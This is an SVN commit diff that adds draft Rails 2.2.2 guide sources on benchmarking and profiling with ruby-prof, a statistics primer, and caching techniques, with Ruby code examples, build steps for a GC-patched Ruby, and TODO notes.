+	- Sampling Error: Data should perform have a steady variance or range. If you get wild swings or sudden spikes, etc. then you must either account for the reason why or you have a sampling error.
+	- Measurement Error: Aka Human error, always go through your calculations at least twice to make sure there are no mathematical errors. .
+* Do a small run of the experiment to verify the design.
+* Use the small run to determine a proper sample size.
+* Run the test.
+* Perform the analysis on the results and determine where to go from there.
+
+Note: Even though we are using the typical scientific method; developing a hypothesis is not always useful in terms of profiling.
+
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/benchmarking_and_profiling/index.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/benchmarking_and_profiling/index.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/benchmarking_and_profiling/index.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,242 @@
+Benchmarking and Profiling Rails
+================================
+
+This guide covers the benchmarking and profiling tactics/tools of Rails and Ruby in general. By referring to this guide, you will be able to:
+
+* Understand the various types of benchmarking and profiling metrics
+* Generate performance/benchmarking tests
+* Use GC patched Ruby binary to measure memory usage and object allocation
+* Understand the information provided by Rails inside the log files
+* Learn about various tools facilitating benchmarking and profiling
+
+== Why Benchmark and Profile ?
+
+Benchmarking and Profiling is an integral part of the development cycle. It is very important that you don't make your end users wait for too long before the page is completely loaded. Ensuring a plesant browsing experience to the end users and cutting cost of unnecessary hardwares is important for any web application.
+
+=== What is the difference between benchmarking and profiling ? ===
+
+Benchmarking is the process of finding out if a piece of code is slow or not. Whereas profiling is the process of finding out what exactly is slowing down that piece of code.
+
+== Using and understanding the log files ==
+
+Rails logs files containt basic but very useful information about the time taken to serve every request. A typical log entry looks something like :
+
+[source, ruby]
+----------------------------------------------------------------------------
+Processing ItemsController#index (for 127.0.0.1 at 2008-10-17 00:08:18) [GET]
+  Session ID: BAh7BiIKZmxhc2hJQzonQWN0aHsABjoKQHVzZWR7AA==--83cff4fe0a897074a65335
+  Parameters: {"action"=>"index", "controller"=>"items"}
+Rendering template within layouts/items
+Rendering items/index
+Completed in 5ms (View: 2, DB: 0) | 200 OK [http://localhost/items]
+----------------------------------------------------------------------------
+
+For this section, we're only interested in the last line from that log entry:
+
+[source, ruby]
+----------------------------------------------------------------------------
+Completed in 5ms (View: 2, DB: 0) | 200 OK [http://localhost/items]
+----------------------------------------------------------------------------
+
+This data is fairly straight forward to understand. Rails uses millisecond(ms) as the metric to measures the time taken. The complete request spent 5 ms inside Rails, out of which 2 ms were spent rendering views and none was spent communication with the database. It's safe to assume that the remaining 3 ms were spent inside the controller.
+
+== Helper methods ==
+
+Rails provides various helper methods inside Active Record, Action Controller and Action View to measure the time taken by a specific code. The method is called +benchmark()+ in all three components.
+
+[source, ruby]
+----------------------------------------------------------------------------
+Project.benchmark("Creating project") do
+  project = Project.create("name" => "stuff")
+  project.create_manager("name" => "David")
+  project.milestones << Milestone.find(:all)
+end
+----------------------------------------------------------------------------
+
+The above code benchmarks the multiple statments enclosed inside +Project.benchmark("Creating project") do..end+ block and prints the results inside log files. The statement inside log files will look like:
+
+[source, ruby]
+----------------------------------------------------------------------------
+Creating projectem (185.3ms)
+----------------------------------------------------------------------------
+
+Please refer to http://api.rubyonrails.com/classes/ActiveRecord/Base.html#M001336[API docs] for optional options to +benchmark()+
+
+Similarly, you could use this helper method inside http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715[controllers] ( Note that it's a class method here ):
+
+[source, ruby]
+----------------------------------------------------------------------------
+def process_projects
+  self.class.benchmark("Processing projects") do
+    Project.process(params[:project_ids])
+    Project.update_cached_projects
+  end
+end
+----------------------------------------------------------------------------
+
+and http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715[views]:
+
+[source, ruby]
+----------------------------------------------------------------------------
+<% benchmark("Showing projects partial") do %>
+  <%= render :partial => @projects %>
+<% end %>
+----------------------------------------------------------------------------
+
+== Performance Test Cases ==
+
+Rails provides a very easy to write performance test cases, which look just like the regular integration tests.
+
+If you have a look at +test/performance/browsing_test.rb+ in a newly created Rails application:
+
+[source, ruby]
+----------------------------------------------------------------------------
+require 'test_helper'
+require 'performance_test_help'
+
+# Profiling results for each test method are written to tmp/performance.
+class BrowsingTest < ActionController::PerformanceTest
+  def test_homepage
+    get '/'
+  end
+end
+----------------------------------------------------------------------------
+
+This is an automatically generated example performance test file, for testing performance of homepage('/') of the application.
+
+=== Modes ===
+
+==== Benchmarking ====
+==== Profiling ====
+
+=== Metrics ===
+
+==== Process Time ====
+
+CPU Cycles.
+
+==== Memory ====
+
+Memory taken.
+
+==== Objects ====
+
+Objects allocated.
+
+==== GC Runs ====
+
+Number of times the Ruby GC was run.
+
+==== GC Time ====
+
+Time spent running the Ruby GC.
+
+=== Preparing Ruby and Ruby-prof ===
+
+Before we go ahead, Rails performance testing requires you to build a special Ruby binary with some super powers - GC patch for measuring GC Runs/Time. This process is very straight forward. If you've never compiled a Ruby binary before, you can follow the following steps to build a ruby binary inside your home directory:
+
+==== Compile ====
+
+[source, shell]
+----------------------------------------------------------------------------
+[lifo at null ~]$ mkdir rubygc
+[lifo at null ~]$ wget ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.6-p111.tar.gz
+[lifo at null ~]$ tar -xzvf ruby-1.8.6-p111.tar.gz
+[lifo at null ~]$ cd ruby-1.8.6-p111
+[lifo at null ruby-1.8.6-p111]$ curl http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch | patch -p0
+[lifo at null ruby-1.8.6-p111]$ ./configure --prefix=/Users/lifo/rubygc
+[lifo at null ruby-1.8.6-p111]$ make && make install
+----------------------------------------------------------------------------
+
+==== Prepare aliases ====
+
+Add the following lines in your ~/.profile for convenience:
+
+----------------------------------------------------------------------------
+alias gcruby='/Users/lifo/rubygc/bin/ruby'
+alias gcrake='/Users/lifo/rubygc/bin/rake'
+alias gcgem='/Users/lifo/rubygc/bin/gem'
+alias gcirb='/Users/lifo/rubygc/bin/irb'
+alias gcrails='/Users/lifo/rubygc/bin/rails'
+----------------------------------------------------------------------------
+
+==== Install rubygems and some basic gems ====
+
+----------------------------------------------------------------------------
+[lifo at null ~]$ wget http://rubyforge.org/frs/download.php/38646/rubygems-1.2.0.tgz
+[lifo at null ~]$ tar -xzvf rubygems-1.2.0.tgz
+[lifo at null ~]$ cd rubygems-1.2.0
+[lifo at null rubygems-1.2.0]$ gcruby setup.rb
+[lifo at null rubygems-1.2.0]$ cd ~
+[lifo at null ~]$ gcgem install rake
+[lifo at null ~]$ gcgem install rails
+----------------------------------------------------------------------------
+
+==== Install MySQL gem ====
+
+----------------------------------------------------------------------------
+[lifo at null ~]$ gcgem install mysql
+----------------------------------------------------------------------------
+
+If this fails, you can try to install it manually:
+
+----------------------------------------------------------------------------
+[lifo at null ~]$ cd /Users/lifo/rubygc/lib/ruby/gems/1.8/gems/mysql-2.7/
+[lifo at null mysql-2.7]$ gcruby extconf.rb --with-mysql-config
+[lifo at null mysql-2.7]$ make && make install
+----------------------------------------------------------------------------
+
+=== Installing Jeremy Kemper's ruby-prof ===
+
+We also need to install Jeremy's ruby-prof gem using our newly built ruby:
+
+[source, shell]
+----------------------------------------------------------------------------
+[lifo at null ~]$ git clone git://github.com/jeremy/ruby-prof.git
+[lifo at null ~]$ cd ruby-prof/
+[lifo at null ruby-prof (master)]$ gcrake gem
+[lifo at null ruby-prof (master)]$ gcgem install pkg/ruby-prof-0.6.1.gem
+----------------------------------------------------------------------------
+
+=== Generating performance test ===
+
+Rails provides a simple generator for creating new performance tests:
+
+[source, shell]
+----------------------------------------------------------------------------
+[lifo at null application (master)]$ script/generate performance_test homepage
+----------------------------------------------------------------------------
+
+This will generate +test/performance/homepage_test.rb+:
+
+[source, ruby]
+----------------------------------------------------------------------------
+require 'test_helper'
+require 'performance_test_help'
+
+class HomepageTest < ActionController::PerformanceTest
+  # Replace this with your real tests.
+  def test_homepage
+    get '/'
+  end
+end
+----------------------------------------------------------------------------
+
+Which you can modify to suit your needs.
+
+=== Running tests ===
+
+include::rubyprof.txt[]
+
+include::digging_deeper.txt[]
+
+include::gameplan.txt[]
+
+include::appendix.txt[]
+
+== Changelog ==
+
+http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/4[Lighthouse ticket]
+
+* October 17, 2008: First revision by Pratik
+* September 6, 2008: Initial version by Matthew Bergman <MzbPhoto at gmail.com>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/benchmarking_and_profiling/rubyprof.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/benchmarking_and_profiling/rubyprof.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/benchmarking_and_profiling/rubyprof.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,179 @@
+== Understanding Performance Tests Outputs ==
+
+=== Our First Performance Test ===
+
+So how do we profile a request. 
+
+One of the things that is important to us is how long it takes to render the home page - so let's make a request to the home page. Once the request is complete, the results will be outputted in the terminal. 
+
+In the terminal run
+
+[source, ruby]
+----------------------------------------------------------------------------
+[User profiling_tester]$ gcruby tests/performance/homepage.rb
+----------------------------------------------------------------------------
+
+After the tests runs for a few seconds you should see something like this. 
+
+----------------------------------------------------------------------------
+HomepageTest#test_homepage (19 ms warmup)
+        process_time: 26 ms
+              memory: 298.79 KB
+             objects: 1917
+
+Finished in 2.207428 seconds.
+----------------------------------------------------------------------------
+
+Simple but efficient. 
+
+* Process Time refers to amount of time necessary to complete the action. 
+* memory is the amount of information loaded into memory
+* object ??? #TODO find a good definition. Is it the amount of objects put into a ruby heap for this process?
+
+In addition we also gain three types of itemized log files for each of these outputs. They can be found in your tmp directory of your application.
+
+*The Three types are*
+
+* Flat File - A simple text file with the data laid out in a grid
+* Graphical File - A html colored coded version of the simple text file with hyperlinks between the various methods. Most useful is the bolding of the main processes for each portion of the action. 
+* Tree File - A file output that can be use in conjunction with KCachegrind to visualize the process
+
+NOTE: KCachegrind is Linux only. For Mac this means you have to do a full KDE install to have it working in your OS. Which is over 3 gigs in size. For windows there is clone called wincachegrind but it is no longer actively being developed.  
+
+Below are examples for Flat Files and Graphical Files
+
+=== Flat Files ===
+
+.Flat File Output Processing Time
+============================================================================
+Thread ID: 2279160
+Total: 0.026097
+
+ %self     total     self     wait    child    calls  name
+  6.41      0.06     0.04     0.00     0.02      571  Kernel#===
+  3.17      0.00     0.00     0.00     0.00      172  Hash#[]
+  2.42      0.00     0.00     0.00     0.00       13  MonitorMixin#mon_exit
+  2.05      0.00     0.00     0.00     0.00       15  Array#each
+  1.56      0.00     0.00     0.00     0.00        6  Logger#add
+  1.55      0.00     0.00     0.00     0.00       13  MonitorMixin#mon_enter
+  1.36      0.03     0.00     0.00     0.03        1  ActionController::Integration::Session#process
+  1.31      0.00     0.00     0.00     0.00       13  MonitorMixin#mon_release
+  1.15      0.00     0.00     0.00     0.00        8  MonitorMixin#synchronize-1
+  1.09      0.00     0.00     0.00     0.00       23  Class#new
+  1.03      0.01     0.00     0.00     0.01        5  MonitorMixin#synchronize
+  0.89      0.00     0.00     0.00     0.00       74  Hash#default
+  0.89      0.00     0.00     0.00     0.00        6  Hodel3000CompliantLogger#format_message
+  0.80      0.00     0.00     0.00     0.00        9  c
+  0.80      0.00     0.00     0.00     0.00       11  ActiveRecord::ConnectionAdapters::ConnectionHandler#retrieve_connection_pool
+  0.79      0.01     0.00     0.00     0.01        1  ActionController::Benchmarking#perform_action_without_rescue
+  0.18      0.00     0.00     0.00     0.00       17  <Class::Object>#allocate
+============================================================================  
+
+So what do these columns tell us:
+
+	* %self - The percentage of time spent processing the method. This is derived from self_time/total_time
+	* total - The time spent in this method and its children.
+	* self - The time spent in this method.
+	* wait - Time processed was queued
+	* child - The time spent in this method's children.
+	* calls - The number of times this method was called.
+    *  name - The name of the method.
+
+Name can be displayed three seperate ways:
+	* #toplevel - The root method that calls all other methods
+	* MyObject#method - Example Hash#each, The class Hash is calling the method each
+	* <Object:MyObject>#test - The <> characters indicate a singleton method on a singleton class. Example <Class::Object>#allocate
+	
+Methods are sorted based on %self. Hence the ones taking the most time and resources will be at the top.
+
+So for Array#each which is calling each on the class array. We find that it processing time is 2% of the total and was called 15 times. The rest of the information is 0.00 because the process is so fast it isn't recording times less then 100 ms. 
+
+
+.Flat File Memory Output
+============================================================================
+Thread ID: 2279160
+Total: 509.724609
+
+ %self     total     self     wait    child    calls  name
+  4.62     23.57    23.57     0.00     0.00       34  String#split
+  3.95     57.66    20.13     0.00    37.53        3  <Module::YAML>#quick_emit
+  2.82     23.70    14.35     0.00     9.34        2  <Module::YAML>#quick_emit-1
+  1.37     35.87     6.96     0.00    28.91        1  ActionView::Helpers::FormTagHelper#form_tag
+  1.35      7.69     6.88     0.00     0.81        1  ActionController::HttpAuthentication::Basic::ControllerMethods#authenticate_with_http_basic
+  1.06      6.09     5.42     0.00     0.67       90  String#gsub
+  1.01      5.13     5.13     0.00     0.00       27  Array#-
+============================================================================
+
+Very similar to the processing time format. The main difference here is that instead of calculating time we are now concerned with the amount of KB put into memory *(or is it strictly into the heap) can I get clarification on this minor point?* 
+
+So for <Module::YAML>#quick_emit which is  singleton method on the class YAML it uses 57.66 KB in total, 23.57 through its own actions, 6.69 from actions it calls itself and that it was called twice.
+
+.Flat File Objects 
+============================================================================
+Thread ID: 2279160
+Total: 6537.000000
+
+ %self     total     self     wait    child    calls  name
+ 15.16   1096.00   991.00     0.00   105.00       66  Hash#each
+  5.25    343.00   343.00     0.00     0.00        4  Mysql::Result#each_hash
+  4.74   2203.00   310.00     0.00  1893.00       42  Array#each
+  3.75   4529.00   245.00     0.00  4284.00        1  ActionView::Base::CompiledTemplates#_run_erb_47app47views47layouts47application46html46erb
+  2.00    136.00   131.00     0.00     5.00       90  String#gsub
+  1.73    113.00   113.00     0.00     0.00       34  String#split
+  1.44    111.00    94.00     0.00    17.00       31  Array#each-1
+============================================================================
+
+
+ #TODO Find correct terminology for how to describe what this is exactly profiling as in are there really 2203 array objects or 2203 pointers to array objects?. 
+
+=== Graph Files ===
+
+While the information gleamed from flat files is very useful we still don't know which processes each method is calling. We only know how many. This is not true for a graph file. Below is a text representation of a graph file. The actual graph file is an html entity and an example of which can be found link:examples/graph.html[Here] 
+
+#TODO (Handily the graph file has links both between it many processes and to the files that actually contain them for debugging. 
+ )
+
+.Graph File
+============================================================================
+Thread ID: 21277412
+
+  %total   %self     total      self    children               calls   Name
+/____________________________________________________________________________/
+100.00%   0.00%      8.77      0.00      8.77                   1     #toplevel*
+                     8.77      0.00      8.77                 1/1     Object#run_primes
+/____________________________________________________________________________/
+                     8.77      0.00      8.77                 1/1     #toplevel
+100.00%   0.00%      8.77      0.00      8.77                   1     Object#run_primes*
+                     0.02      0.00      0.02                 1/1     Object#make_random_array
+                     2.09      0.00      2.09                 1/1     Object#find_largest
+                     6.66      0.00      6.66                 1/1     Object#find_primes
+/____________________________________________________________________________/
+                     0.02      0.02      0.00                 1/1     Object#make_random_array
+0.18%     0.18%      0.02      0.02      0.00                   1     Array#each_index
+                     0.00      0.00      0.00             500/500     Kernel.rand
+                     0.00      0.00      0.00             500/501     Array#[]=
+/____________________________________________________________________________/
+============================================================================
+
+As you can see the calls have been separated into slices, no longer is the order determined by process time but instead from hierarchy. Each slice profiles a primary entry, with the primary entry's parents being shown above itself and it's children found below. A primary entry can be ascertained by it having values in the %total and %self columns. Here the main entry here have been bolded for connivence. 
+
+So if we look at the last slice. The primary entry would be Array#each_index. It takes 0.18% of the total process time and it is only called once. It is called from Object#make_random_array which is only called once. It's children are Kernal.rand which is called by it all 500 its times that it was call in this action and Arry#[]= which was called 500 times by Array#each_index and once by some other entry. 
+
+=== Tree Files ===
+
+It's pointless trying to represent a tree file textually so here's a few pretty pictures of it's usefulness 
+
+.KCachegrind Graph
+[caption="KCachegrind graph"] 
+image:images/kgraph.png[Graph created by KCachegrind] 
+
+.KCachegrind List
+[caption="KCachegrind List"] 
+image:images/klist.png[List created by KCachegrind]
+
+#TODO Add a bit more information to this. 
+
+== Getting to the Point of all of this ==
+
+Now I know all of this is a bit dry and academic. But it's a very powerful tool when you know how to leverage it properly. Which we are going to take a look at in our next section
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/benchmarking_and_profiling/statistics.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/benchmarking_and_profiling/statistics.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/benchmarking_and_profiling/statistics.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,57 @@
+== A Lession In Statistics ==
+
+#TODO COMPRESS DOWN INTO A PARAGRAPH AND A HALF 
+maybe I'll just combine with the methodology portion as an appendix. 
+
+Adapted from a blog Article by Zed Shaw. His rant is funnier but will take longer to read. <br /> http://www.zedshaw.com/rants/programmer_stats.html[Programmers Need To Learn Statistics Or I Will Kill Them All]
+
+=== Why Learn Statistics ===
+
+Statistics is a hard discipline. One can study it for years without fully grasping all the complexities. But its a necessary evil for coders of every level to at least know the basics. You can't optimize without it, and if you use it wrong, you'll just waste your time and the rest of your team's.
+
+=== Power-of-Ten Syndrome ===
+
+If you done any benchmarking you have probably heard
+“All you need to do is run that test [insert power-of-ten] times and then do an average.” 
+
+For new developers this whole power of ten comes about because we need enough data to minimize the results being contaminated by outliers. If you loaded a page five times with three of those times being around 75ms and twice 250ms you have no way of knowing the real average processing time for you page. But if we take a 1000 times and 950 are 75ms and 50 are 250ms we have a much clearer picture of the situation. 
+
+But this still begs the question of how you determine that 1000 is the correct number of iterations to improve the power of the experiment? (Power in this context basically means the chance that your experiment is right.)
+
+The first thing that needs to be determined is how you are performing the samplings? 1000 iterations run in a massive sequential row? A set of 10 runs with 100 each? The statistics are different depending on which you do, but the 10 runs of 100 each would be a better approach. This lets you compare sample means and figure out if your repeated runs have any bias. More simply put, this allows you to see if you have a many or few outliers that might be poisoning your averages. 
+
+Another consideration is if a 1000 transactions is enough to get the process into a steady state after the ramp-up period? If you are benchmarking a long running process that stabilizes only after a warm-up time you must take that into consideration. 
+
+Also remember getting an average is not an end goal in itself. In fact in some cases they tell you almost nothing. 
+
+=== Don't Just Use Averages! ===
+
+One cannot simply say my website “[insert power-of-ten] requests per second”. This is due to it being an Average. Without some form of range or variance error analysis it's a useless number.  Two averages can be the same, but hide massive differences in behavior. Without a standard deviation it’s not possible to figure out if the two might even be close. 
+
+Two averages can be the same say 30 requests a second and yet have a completely different standard deviation. Say the first sample has +-3 and the second is +-30
+
+Stability is vastly different for these two samples If this were a web server performance run I’d say the second server has a major reliability problem. No, it’s not going to crash, but it’s performance response is so erratic that you’d never know how long a request would take. Even though the two servers perform the same on average, users will think the second one is slower because of how it seems to randomly perform.
+
+Another big thing to take into consideration when benchmarking and profiling is Confounding
+
+=== Confounding ===
+
+The idea of confounding is pretty simple: If you want to measure something, then don’t measure anything else.  
+
+#TODO add more information in how to avoid confounding. 
+
+* Your testing system and your production system must be separate. You can't profile on the same system because you are using resources to run the test that your server should be using to serve the requests. 
+
+And one more thing. 
+
+=== Define what you are Measuring ===
+
+Before you can measure something you really need to lay down a very concrete definition of what you’re measuring. You should also try to measure the simplest thing you can and try to avoid confounding. 
+
+The most important thing to determine though is how much data you can actually send to your application through it's pipe. 
+
+=== Back to Business ===
+
+Now I know this was all a bit boring, but these fundamentals a necessary for understanding what we are actually doing here. Now onto the actual code and rails processes. 
+
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/caching_with_rails.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/caching_with_rails.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/caching_with_rails.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,367 @@
+Caching with Rails: An overview
+===============================
+
+Everyone caches. This guide will teach you what you need to know about
+avoiding that expensive round-trip to your database and returning what you
+need to return to those hungry web clients in the shortest time possible.
+
+== Basic Caching
+
+This is an introduction to the three types of caching techniques that Rails
+provides by default without the use of any third party plugins.
+
+To get started make sure config.action_controller.perform_caching is set
+to true for your environment. This flag is normally set in the
+corresponding config/environments/*.rb and caching is disabled by default
+there for development and test, and enabled for production.
+
+[source, ruby]
+-----------------------------------------------------
+config.action_controller.perform_caching = true
+-----------------------------------------------------
+
+=== Page Caching
+
+Page caching is a Rails mechanism which allows the request for a generated
+page to be fulfilled by the webserver, without ever having to go through the
+Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be
+applied to every situation (such as pages that need authentication) and since
+the webserver is literally just serving a file from the filesystem, cache
+expiration is an issue that needs to be dealt with. 
+
+So, how do you enable this super-fast cache behavior?  Simple, let's say you
+have a controller called ProductsController and a 'list' action that lists all
+the products
+
+[source, ruby]
+-----------------------------------------------------
+class ProductsController < ActionController
+
+  caches_page :index
+
+  def index; end
+
+end
+-----------------------------------------------------
+
+The first time anyone requests products/index, Rails will generate a file
+called index.html and the webserver will then look for that file before it
+passes the next request for products/index to your Rails application.
+
+By default, the page cache directory is set to Rails.public_path (which is
+usually set to RAILS_ROOT + "/public") and this can be configured by
+changing the configuration setting ActionController::Base.page_cache_directory. Changing the
+default from /public helps avoid naming conflicts, since you may want to
+put other static html in /public, but changing this will require web
+server reconfiguration to let the web server know where to serve the
+cached files from.
+
+The Page Caching mechanism will automatically add a .html exxtension to
+requests for pages that do not have an extension to make it easy for the
+webserver to find those pages and this can be configured by changing the
+configuration setting ActionController::Base.page_cache_extension.
+
+In order to expire this page when a new product is added we could extend our
+example controler like this:
+
+[source, ruby]
+-----------------------------------------------------
+class ProductsController < ActionController
+
+  caches_page :list
+
+  def list; end
+
+  def create
+    expire_page :action => :list
+  end
+
+end
+-----------------------------------------------------
+
+If you want a more complicated expiration scheme, you can use cache sweepers
+to expire cached objects when things change. This is covered in the section on Sweepers.
+
+[More: caching paginated results? more examples? Walk-through of page caching?]
+
+=== Action Caching
+
+One of the issues with Page Caching is that you cannot use it for pages that
+require to restrict access somehow. This is where Action Caching comes in.
+Action Caching works like Page Caching except for the fact that the incoming
+web request does go from the webserver to the Rails stack and Action Pack so
+that before filters can be run on it before the cache is served, so that
+authentication and other restrictions can be used while still serving the
+result of the output from a cached copy.
+
+Clearing the cache works in the exact same way as with Page Caching.
+
+Let's say you only wanted authenticated users to edit or create a Product
+object, but still cache those pages: 
+
+[source, ruby]
+-----------------------------------------------------
+class ProductsController < ActionController
+
+  before_filter :authenticate, :only => [ :edit, :create ]
+  caches_page :list
+  caches_action :edit
+
+  def list; end
+
+  def create
+    expire_page :action => :list
+    expire_action :action => :edit
+  end
+
+  def edit; end
+
+end
+-----------------------------------------------------
+
+And you can also use :if (or :unless) to pass a Proc that specifies when the
+action should be cached. Also, you can use :layout => false to cache without
+layout so that dynamic information in the layout such as logged in user info
+or the number of items in the cart can be left uncached. This feature is
+available as of Rails 2.2.
+
+
+[More: more examples? Walk-through of Action Caching from request to response?
+       Description of Rake tasks to clear cached files? Show example of
+       subdomain caching? Talk about :cache_path, :if and assing blocks/Procs
+       to expire_action?]
+
+=== Fragment Caching
+
+Life would be perfect if we could get away with caching the entire contents of
+a page or action and serving it out to the world. Unfortunately, dynamic web
+applications usually build pages with a variety of components not all of which
+have the same caching characteristics. In order to address such a dynamically
+created page where different parts of the page need to be cached and expired
+differently Rails provides a mechanism called Fragment Caching.
+
+Fragment Caching allows a fragment of view logic to be wrapped in a cache
+block and served out of the cache store when the next request comes in. 
+
+As an example, if you wanted to show all the orders placed on your website
+in real time and didn't want to cache that part  of the page, but did want
+to cache the part of the page which lists all products available, you
+could use this piece of code:
+
+[source, ruby]
+-----------------------------------------------------
+<% Order.find_recent.each do |o| %>
+  <%= o.buyer.name %> bought <% o.product.name %>
+<% end %>
+  
+<% cache do %>
+  All available products: 
+  <% Product.find(:all).each do |p| %>
+    <%= link_to p.name, product_url(p) %>
+  <% end %>
+<% end %>
+-----------------------------------------------------
+
+The cache block in our example will bind to the action that called it and is
+written out to the same place as the Action Cache, which means that if you
+want to cache multiple fragments per action, you should provide an action_suffix to the cache call:
+
+[source, ruby]
+-----------------------------------------------------
+<% cache(:action => 'recent', :action_suffix => 'all_products') do %>
+  All available products: 
+-----------------------------------------------------
+
+and you can expire it using the expire_fragment method, like so:
+
+[source, ruby]
+-----------------------------------------------------
+expire_fragment(:controller => 'producst', :action => 'recent', :action_suffix => 'all_products)
+-----------------------------------------------------
+
+[More: more examples? description of fragment keys and expiration, etc? pagination?]
+
+=== Sweepers
+
+Cache sweeping is a mechanism which allows you to get around having a ton of
+expire_{page,action,fragment} calls in your code by moving all the work
+required to expire cached content into a ActionController::Caching::Sweeper
+class that is an Observer and looks for changes to an object via callbacks,
+and when a change occurs it expires the caches associated with that object n
+an around or after filter.
+
+Continuing with our Product controller example, we could rewrite it with a
+sweeper such as the following:
+
+[source, ruby]
+-----------------------------------------------------
+class StoreSweeper < ActionController::Caching::Sweeper
+  observe Product # This sweeper is going to keep an eye on the Post model
+
+  # If our sweeper detects that a Post was created call this
+  def after_create(product)
+          expire_cache_for(product)
+  end
+  
+  # If our sweeper detects that a Post was updated call this
+  def after_update(product)
+          expire_cache_for(product)
+  end
+  
+  # If our sweeper detects that a Post was deleted call this
+  def after_destroy(product)
+          expire_cache_for(product)
+  end
+          
+  private
+  def expire_cache_for(record)
+    # Expire the list page now that we added a new product
+    expire_page(:controller => '#{record}', :action => 'list')
+    
+    # Expire a fragment 
+    expire_fragment(:controller => '#{record}', :action => 'recent', :action_suffix => 'all_products')
+  end
+end
+-----------------------------------------------------
+
+Then we add it to our controller to tell it to call the sweeper when certain
+actions are called. So, if we wanted to expire the cached content for the
+list and edit actions when the create action was called, we could do the
+following:
+
+[source, ruby]
+-----------------------------------------------------
+class ProductsController < ActionController
+
+  before_filter :authenticate, :only => [ :edit, :create ]
+  caches_page :list
+  caches_action :edit
+  cache_sweeper :store_sweeper, :only => [ :create ]
+
+  def list; end
+
+  def create
+    expire_page :action => :list
+    expire_action :action => :edit
+  end
+
+  def edit; end
+
+end
+-----------------------------------------------------
+
+[More: more examples? better sweepers?]
+
+=== SQL Caching
+
+Query caching is a Rails feature that caches the result set returned by each
+query so that if Rails encounters the same query again for that request, it
+will used the cached result set as opposed to running the query against the
+database again.
+
+For example:
+
+[source, ruby]
+-----------------------------------------------------
+class ProductsController < ActionController
+
+  before_filter :authenticate, :only => [ :edit, :create ]
+  caches_page :list
+  caches_action :edit
+  cache_sweeper :store_sweeper, :only => [ :create ]
+
+  def list
+    # Run a find query
+    Product.find(:all)
+
+    ...
+
+    # Run the same query again
+    Product.find(:all)
+  end
+
+  def create
+    expire_page :action => :list
+    expire_action :action => :edit
+  end
+
+  def edit; end
+
+end
+-----------------------------------------------------
+
+In the 'list' action above, the result set returned by the first
+Product.find(:all) will be cached and will be used to avoid querying the
+database again the second time that finder is called.
+
+Query caches are created at the start of an action and destroyed at the end of
+that action and thus persist only for the duration of the action.
+
+=== Cache stores
+
+Rails provides different stores for the cached data for action and fragment
+caches. Page caches are always stored on disk.
+
+The cache stores provided include:
+
+1) Memory store: Cached data is stored in the memory allocated to the Rails
+                 process, which is fine for WEBrick and for FCGI (if you
+                 don't care that each FCGI process holds its own fragment
+                 store). It's not suitable for CGI as the process is thrown
+                 away at the end of each request. It can potentially also
+                 take up a lot of memory since each process keeps all the
+                 caches in memory.
+
+[source, ruby]
+-----------------------------------------------------
+ActionController::Base.cache_store = :memory_store
+-----------------------------------------------------
+
+2) File store: Cached data is stored on the disk, this is the default store
+               and the default path for this store is: /tmp/cache. Works
+               well for all types of environments and allows all processes
+               running from the same application directory to access the
+               cached content.
+
+
+[source, ruby]
+-----------------------------------------------------
+ActionController::Base.cache_store = :file_store, "/path/to/cache/directory"
+-----------------------------------------------------
+
+3) DRb store: Cached data is stored in a separate shared DRb process that all
+              servers communicate with. This works for all environments and
+              only keeps one cache around for all processes, but requires
+              that you run and manage a separate DRb process.
+
+[source, ruby]
+-----------------------------------------------------
+ActionController::Base.cache_store = :drb_store, "druby://localhost:9192"
+-----------------------------------------------------
+
+4) MemCached store: Works like DRbStore, but uses Danga's MemCache instead.
+                    Requires the ruby-memcache library:  
+                    gem install ruby-memcache.
+
+[source, ruby]
+-----------------------------------------------------
+ActionController::Base.cache_store = :mem_cache_store, "localhost"
+-----------------------------------------------------
+
+5) Custom store: You can define your own cache store (new in Rails 2.1)
+
+[source, ruby]
+-----------------------------------------------------
+ActionController::Base.cache_store = MyOwnStore.new("parameter")
+-----------------------------------------------------
+
+== Advanced Caching
+
+Along with the built-in mechanisms outlined above, a number of excellent
+plugins exist to help with finer grained control over caching. These include
+Chris Wanstrath's excellent cache_fu plugin (more info here:
+http://errtheblog.com/posts/57-kickin-ass-w-cachefu) and Evan Weaver's
+interlock plugin (more info here:
+http://blog.evanweaver.com/articles/2007/12/13/better-rails-caching/). Both
+of these plugins play nice with memcached and are a must-see for anyone
+seriously considering optimizing their caching needs.

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/command_line.txt
===================================================================
